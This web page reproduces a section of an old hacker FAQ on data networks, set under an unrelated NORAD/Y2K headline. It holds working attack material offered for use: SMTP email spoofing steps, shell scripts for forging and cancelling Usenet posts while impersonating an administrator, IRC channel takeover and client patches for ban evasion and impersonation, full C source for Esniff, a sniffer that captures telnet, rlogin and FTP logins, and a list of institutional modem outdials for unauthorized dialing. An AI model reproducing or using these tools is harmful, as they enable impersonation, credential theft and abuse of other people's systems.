logo

NORAD Was Blind During Y2k Vigil -- Satellite Redundancy Wasn´t There


Latest News Stories:

cover-eletronicprivacy

Only $31.95

New Methodology:

shun

Product Reviews

OSAll is starting to do weekly product reviews, to be published every single Friday.  Check out software, book and hardware reviews.

 Check it out!

Front | Methods | BBS | FAQ | Adverts | Mail | Write | Link | Shop

"Y2k, all hype, all the time."

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-= Section B -- Data Networks  =-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

B-01. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from.  This will connect you directly to the SMTP (Simple Mail
Transfer Protocol) daemon running on that host. Then, enter SMTP
commands by hand directly to the SMTP daemon.

Enter your message as in this example:

 HELO bellcore.com
 MAIL FROM:voyager@bellcore.com
 RCPT TO:president@whitehouse.gov
 DATA
 Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST)
 From: voyager@bellcore.com (The Voyager)
 To: president@whitehouse.gov
 Subject: Clipper
 Reply-To: voyager@bellcore.com

Please discontinue your silly Clipper initiative.
 .
 QUIT

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work.  Test by sending yourself fakemail first.

Newer SMTP daemons, such as smail 3.1.29.1+ or sendmail 8.7+, perform an
identd check when you connect to them.  These SMTP daemons are
impossible to completely spoof without first spoofing identd.

For more information read RFC 822 (Standard for the format of ARPA
Internet text messages).

Note that the headers inside the DATA statement should be optional, but
are actually required by some mailers.  Even when not required, they
often help your message appear genuine.

To locate an SMTP server for a domain, use `nslookup` and set your
querytype to MX.


---------------------------------------------------------------------------

B-02. How do I fake posts and control messages to Usenet?

 From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
 Subject: FAQ: Better living through forgery
 Date: 19 Mar 1995 02:37:09 GMT

Anonymous netnews without "anonymous" remailers

 Inspired by the recent "NetNews Judges-L" events, this file has been
 updated to cover forging control messages, so you can do your own
 article canceling and create and destroy your own newsgroups.

 Save any news article to a file.  We'll call it "hak" in this example.

 Edit "hak", and remove any header lines of the form

 From some!random!path!user   (note: "From ", not "From: "!!!)
 Article:
 Lines:
 Xref:

 Shorten the Path: header down to its LAST two or three "bangized"
 components. This is to make the article look like it was posted from
 where it really was posted, and originally hit the net at or near the
 host you send it to.  Or you can construct a completely new Path: line
 to reflect your assumed alias.

 Make some change to the Message-ID: field, that isn't likely to be
 duplicated anywhere.  This is usually best done by adding a couple of
 random characters to the part before the @, since news posting programs
 generally use a fixed-length field to generate these IDs.

 Change the other headers to say what you like -- From:, Newsgroups:,
 Sender:, etc.  Replace the original message text with your message.  If
 you are posting to a moderated group or posting a control message,
 remember to put in an Approved: header to bypass the moderation
 mechanism.

 To specifically cancel someone else's article, you need its message-ID.
 Your message headers, in addition to what's already there, should also
 contain the following with that message-ID in it.  This makes it a
 "control message". NOTE: control messages generally require an
 Approved: header as well, so you should add one.

 Subject: cmsg cancel <xb8700A@twits.site.com>
 Control: cancel <xb8700A@twits.site.com>
 Approved: luser@twits.site.com

 Newsgroups are created and destroyed with control messages, too.  If
 you wanted to create, for instance, comp.misc.microsoft.sucks, your
 control headers would look like

 Subject: cmsg newgroup comp.misc.microsoft.sucks
 Control: newgroup comp.misc.microsoft.sucks

 Add on the string "moderated" at the end of these if you want the group
 to be "moderated with no moderator" as with alt.hackers.  Somewhere in
 the body of your message, you should include the following text,
 changed with the description of the group you're creating:

 For your newsgroups file:
 comp.misc.microsoft.sucks               We don't do windows

 To remove a group, substitute "rmgroup" for "newgroup" in the header
 lines above.  Keep in mind that most sites run all "rmgroup" requests
 through a human news-master, who may or may not decide to honor it.
 Group creation is more likely to be automatic than deletion at most
 installations.  Any newsgroup changes are more likely to take effect if
 the come from me, since my name is hardwired into many of the NNTP
 control scripts, so using the From: and Approved: headers from this
 posting is recommended.

 Save your changed article, check it to make sure it contains NO
 reference to yourself or your own site, and send it to your favorite
 NNTP server that permits transfers via the IHAVE command, using the
 following script:

 =======================
 #! /bin/sh
 ## Post an article via IHAVE.
 ## args: filename server

  if test "$2" = "" ; then
   echo usage: $0 filename server
   exit 1
 fi
 if test ! -f $1 ; then
   echo $1: not found
   exit 1
 fi

 # suck msg-id out of headers, keep the brackets
 msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
   sed 's/.*-[Ii][Dd]: //'`
 echo $msgid

 ( sleep 5
   echo IHAVE $msgid
   sleep 5
   cat $1
   sleep 1
    echo "."
   sleep 1
   echo QUIT ) | telnet $2 119
 =======================

 If your article doesn't appear in a day or two, try a different server.
 They are easy to find.  Here's a script that will break a large file
 full of saved netnews into a list of hosts to try.  Edit the output of
 this if you want, to remove obvious peoples' names and other trash.

 =======================
 #! /bin/sh
 FGV='fgrep -i -v'
 egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
 /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
 =======================

 Once you have your host list, feed it to the following script.

  =======================
 #! /bin/sh

 while read xx ; do
 if test "$xx" = "" ; then continue;
 fi
 echo === $xx
 ( echo open $xx 119
   sleep 5
   echo ihave IamSOk00l@podunk.edu
   sleep 4
   echo .
   echo quit
   sleep 1
   echo quit
 ) | telnet
 done
 =======================

 If the above script is called "findem" and you're using csh, you should do

 findem < list >& outfile

 so that ALL output from telnet is captured.  This takes a long time,
 but when it finishes, edit "outfile" and look for occurrences of "335".
 These mark answers from servers that might be willing to accept an
 article.  This isn't a completely reliable indication, since some
 servers respond with acceptance and later drop articles.  Try a given
 server with a slightly modified repeat of someone else's message, and
 see if it eventually appears.

 Sometimes the telnets get into an odd state, and freeze, particularly
 when a host is refusing NNTP connections.  If you manually kill these
 hung telnet processes but not the main script, the script will continue
 on.  In other words, you may have to monitor the finding script a
 little while it is running.

 You will notice other servers that don't necessarily take an IHAVE, but
 say "posting ok".  You can probably do regular POSTS through these, but
 they will add an "NNTP-Posting-Host: " header containing the machine
 YOU came from and are therefore unsuitable for completely anonymous
 use.

 PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY.


---------------------------------------------------------------------------

B-03. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on.  When
that server reconnects to the net, you will have ChanOp on the real
channel.  If you have ServerOp on a server, you can cause it to split
on purpose.


---------------------------------------------------------------------------

B-04. How do I modify the IRC client to hide my real username?

Note: This FAQ answer was written by someone else, but I do not know who.
      If you know who originally wrote this, please e-mail me.

 -- BEGIN QUOTED TEXT --

Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER.  This new command
can be used as follows:

 *   /NEWUSER <new_username> [new_IRCNAME]
 *       <new_username> is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channel you
 *     are currently on and keep your current nickname.

The effect is basically changing your username/IRCname on the fly.
Although you are disconnected from your server and reconnected, the
ircII client is never exited, thus keeping all your state information
and aliases intact.  This is ideal for bots that wish to be REALLY
obnoxious in ban evasion. ;)

As this is now a new command in ircII, it can be used in scripts. Be
aware that the reconnect associated with the NEWUSER command takes time,
so TIMER any commands that must immediately follow the NEWUSER. For
example... ban evasion made easy (but beware infinite reconnects when
your site is banned):

on ^474 * {
  echo *** Banned from channel $1
  if ($N == [AnnMurray]) {
    nick $randomstring
    join $1
    } {
    nick AnnMurray
    newuser $randomstring
    timer 5 join $1
    }
  }

Or just to be annoying... a /BE <nickname> alias that will assume a
person's username and IRCNAME:

alias be {
  ^on ^311 * {
    ^on 311 -*
    newuser $2 $5-
    }
  whois $0
  }

Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using).  Cd into the
source directory and edit the file "edit.c".  Make the following
changes:

Locate the line which reads:
extern  void    server();

Insert the following line after it:
static  void    newuser();

This pre-defines a new function "newuser()" that we'll add later.


Now, locate the line which reads:
"NAMES",        "NAMES",        funny_stuff,            0,

Insert the following line after it:
"NEWUSER",      NULL,           newuser,                0,

This adds a new command NEWUSER to the list of valid IRCII commands, and
tells it to call our new function newuser() to perform it.


Finally, go the bottom of the file and add the following code as our new
function "newuser()":

/*
 * newuser: the /NEWUSER command.  Added by Hendrix
 *   Parameters as follows:
 *     /NEWUSER <new_username> [new_IRCNAME]
 *       <new_username> is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channels you
 *     are currently on and keep your current nickname.
 */

static void    newuser(command, args)
char    *command,
*args;
{
char    *newuname;

if (newuname = next_arg(args, &args))
{
strmcpy(username, newuname, NAME_LEN);
if (*args)
strmcpy(realname, args, REALNAME_LEN);
say("Reconnecting to server...");
close_server(from_server);
if (connect_to_server(server_list[from_server].name,
      server_list[from_server].port, primary_server) != -1)
{
change_server_channels(primary_server, from_server);
set_window_server(-1, from_server, 1);
}
else
say("Unable to reconnect. Use /SERVER to connect.");
}
else
say("You must specify a username and, optionally, an IRCNAME");
}

 -- END QUOTED TEXT --

/NEWUSER will not hide you from a CTCP query.  To do that, modify ctcp.c
as shown in the following diff and set an environment variable named
CTCPFINGER with the information you would like to display when queried.

*** ctcp.old
--- ctcp.c
***************
*** 334 ****
!       char    c;
--- 334 ---
!       char    c, *fing;
***************
*** 350,354 ****
!               if (pwd = getpwuid(uid))
{
char    *tmp;
--- 350,356 ----
!               if (fing = getenv("CTCPFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
{
char    *tmp;


---------------------------------------------------------------------------

---------------------------------------------------------------------------

B-05. What is sniffing?

Sniffing is listening (with software) to the raw network device for
packets that interest you.  When your software sees a packet that fits
certain criteria, it logs it to a file.  The most common criteria for an
interesting packet is one that contains words like "login" or
"password."

You will have to obtain or code a sniffer that is capable of working
with the appropriate type of network interface.  Popular network
interfaces include NIT (Network Interface Tap), and DLPI (Data Link
Provider Interface), and BPF (Berkeley Packet Filter.)

LLI was a network interface used by SCO, which has been augmented with
DLPI support as of SCO OpenServer Release V.  NIT was a network
interface used by Sun, but has been replaced in later releases of
SunOS/Solaris with DLPI.  Ultrix supported the Ultrix Packet Filter
before Digital implemented support for BPF.

DLPI is supported under current releases of System V Release 4,
SunOS/Solaris, AIX, HP/UX, UnixWare, Irix, and MacOS.  DLPI is partially
supported under Digital Unix. Sun DLPI version 2 supports Ethernet, X.25
LAPB, SDLC, ISDN LAPD, CSMA/CD, FDDI, token ring, token bus, and Bisync
as data-link protocols.  The DLPI network interface provided with HP/UX
supports Ethernet/IEEE 802.3, IEEE 802.5, FDDI, and Fibre Channel.

For more information regarding DLPI, access the DLPI Specification at
http://fiver.sns.com/solaris_x86/x86_drivers/ or FTP the paper "How to
Use DLPI in Solaris 2.x" by Neal Nuckolls from newstop.ebay.sun.com in
/sun/SunOS5.0/dltest.tar.Z.

BPF is supported under current releases of BSD and Digital Unix, and has
been ported to SunOS and Solaris.  AIX supports BPF reads, but not
writes.  A BPF library is available for Linux.

Many sniffers are available for various operating systems:

OS              Sniffer
~~              ~~~~~~~
4.3/4.4 BSD     tcpdump            /* Available via anonymous ftp           */
FreeBSD         tcpdump            /* Available via anonymous ftp at        */
   /* gatekeeper.dec.com
    /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD          tcpdump            /* Available via anonymous ftp at        */
   /* gatekeeper.dec.com
     /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix        tcpdump            /* Available via anonymous ftp           */
DEC Ultrix      tcpdump            /* Available via anonymous ftp           */
HP/UX           nettl  (monitor)
      & netfmt (display)
nfswatch           /* Available via anonymous ftp           */
Linux           tcpdump            /* Available via anonymous ftp at        */
   /* sunsite.unc.edu                       */
   /* /pub/Linux/system/Network/management/ */
SGI Irix        nfswatch           /* Available via anonymous ftp           */
Etherman
tcpdump            /* Available via anonymous ftp           */
Solaris         snoop
tcpdump
SunOS           etherfind
nfswatch           /* Available via anonymous ftp           */
tcpdump            /* Available via anonymous ftp           */
DOS             ETHLOAD            /* Available via anonymous ftp as        */
   /* ethld104.zip                          */
The Gobbler        /* Available via anonymous ftp           */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack           /* Available via anonymous ftp at        */
   /* mistress.informatik.unibw-muenchen.de */
   /* /pub/assembler/netzhack.mac           */
Macintosh       Etherpeek
NetMinderEthernet  /* Commercial */

Here is source code for a sample ethernet sniffer using NIT under SunOS 4.x:

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
*ProgName,
*LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
    DSTip;
     u_int   SRCport,           /* src/dst ports */
     DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}

char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
    break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
switch(*dp) { \
    case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
    case '\r': \
    case '\n': fprintf(LOG,"\n     : "); \
break; \
    default  : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
     } else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
      PR_DATA(p,i);
      PR_DATA(d,dl);
    }

   fprintf(LOG,"\n-- \n");
   fflush(LOG);

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
   else
    CLroot = CLe->Next;
   free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
   END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;
   }

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
      return;
 }

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
    return;
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_LOGINSERVER) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
 }

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

      CLm->PKcnt++;

      if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
  ADDDATA_NODE( CLm, p,length);
} else {
  END_NODE( CLm, p,length, "DATA LIMIT");
}

      if(TCPFL(TH_FIN|TH_RST)) {
  END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
      }

   } else {

      if(TCPFL(TH_SYN)) {
 ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
      }

   }

   IDLE_NODE();

 }

}

/* signal handler
 */
void death()
{ register struct CREC *CLe;

    while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    fflush(LOG);
    if(LOG != stdout)
fclose(LOG);
    exit(1);
}

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
 */
void do_it()
{
    int cc;
    char *buf;
    u_short sp_ts_len;

    if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
  {
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
  }

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
      *bufstop = (buf + cc);

while (bp < bufstop) {
    register char *cp = bp;
    register struct nit_bufhdr *hdrp;

    hdrp = (struct nit_bufhdr *)cp;
    cp += sizeof(struct nit_bufhdr);
    bp += hdrp->nhb_totlen;
    filter(cp, (u_long)hdrp->nhb_msglen);
}
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
   ac=1,
   backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
    case 'I': device=argv[ac++];
      break;
    case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
 Zexit(1,"Output file cant be opened\n");
      break;
    case 'B': backg=1;
      break;
    case 'D': debug=1;
      break;
    default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
    ProgName);
      exit(1);
       }
    }

    if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
    Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
    Pexit(1,"Eth: ioctl");

close(s);
device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
    (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
 fprintf(ERR,"[Cannot bg with debug on]\n");
 backg=0;
    }

    if(backg) {
register int s;

if((s=fork())>0) {
   fprintf(ERR,"[pid %d]\n",s);
   exit(0);
} else if(s<0)
   Pexit(1,"fork");

if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}


---------------------------------------------------------------------------

B-06. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can
use to dial out.  Normal outdials will only call local numbers.  A GOD
(Global OutDial) is capable of calling long distance.  Outdials are an
inexpensive method of calling long distance BBS's.


---------------------------------------------------------------------------

B-07. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

Internet Outdial List v3.0
 by Cavalier and DisordeR


Introduction
------------
There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.


   Working Outdials
   ----------------
    as of 12/29/94

  NPA          IP Address                   Instructions
  ---          ----------                   ------------
  215          isn.upenn.edu                modem

  217          dialout.cecer.army.mil       atdt x,xxxXXXXX

  218          modem.d.umn.edu              atdt9,xxxXXXX

  303          yuma.acns.colostate.edu 3020

  412          myriad.pc.cc.cmu.edu 2600    Press D at the prompt


  412          gate.cis.pitt.edu            tn3270,
    connect dialout.pitt.edu,
    atdtxxxXXXX

  413          dialout2400.smith.edu        Ctrl } gets ENTER NUMBER: xxxxxxx

  502          outdial.louisville.edu

  502          uknet.uky.edu                connect kecnet
    @ dial: "outdial2400 or out"

  602          acssdial.inre.asu.edu        atdt8,,,,,[x][yyy]xxxyyyy

  614          ns2400.acs.ohio-state.edu

  614          ns9600.acs.ohio-state.edu

  713          128.249.27.153               atdt x,xxxXXXX

  714          modem.nts.uci.edu            atdt[area]0[phone]

  804          ublan.virginia.edu           connect hayes, 9,,xxx-xxxx

  804          ublan2.acc.virginia.edu      connect telnet
    connect hayes



     Need Password
     -------------
  204          dial.cc.umanitoba.ca
  206          rexair.cac.washington.edu    This is an unbroken password
  303          yuma.ACNS.ColoState.EDU      login: modem
  404          128.140.1.239                .modem8|CR
  415          annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
  514          cartier.CC.UMontreal.CA      externe,9+number
  703          wal-3000.cns.vt.edu          dial2400 -aa


    Dead/No Connect
    ---------------

  201          idsnet
  202          modem.aidt.edu
  204          umnet.cc.manitoba.ca         "dial12" or "dial24"
  206          dialout24.cac.washington.edu
  207          modem-o.caps.maine.edu
  212          B719-7e.NYU.EDU              dial3/dial12/dial24
  212          B719-7f.NYU.EDU              dial3/dial12/dial24
  212          DIALOUT-1.NYU.EDU            dial3/dial12/dial24
  212          FREE-138-229.NYU.EDU         dial3/dial12/dial24
  212          UP19-4b.NYU.EDU              dial3/dial12/dial24
  215          wiseowl.ocis.temple.edu      "atz" "atdt 9xxxyyyy"
  218          aa28.d.umn.edu               "cli" "rlogin modem"
    at "login:"  type "modem"
  218          modem.d.umn.edu              Hayes 9,XXX-XXXX
  301          dial9600.umd.edu
  305          alcat.library.nova.edu
  305          office.cis.ufl.edu
  307          modem.uwyo.edu               Hayes  0,XXX-XXXX
  313          35.1.1.6                     dial2400-aa or dial1200-aa
    or dialout
  402          dialin.creighton.edu
  402          modem.criegthon.edu
  404          broadband.cc.emory.edu       ".modem8" or ".dialout"
  408          dialout.scu.edu
  408          dialout1200.scu.edu
  408          dialout2400.scu.edu
  408          dialout9600.scu.edu
  413          dialout.smith.edu
  414          modems.uwp.edu
  416          annex132.berkely.edu         atdt 9,,,,, xxx-xxxx
  416          pacx.utcs.utoronto.ca        modem
  503          dialout.uvm.edu
  513          dialout24.afit.af.mil
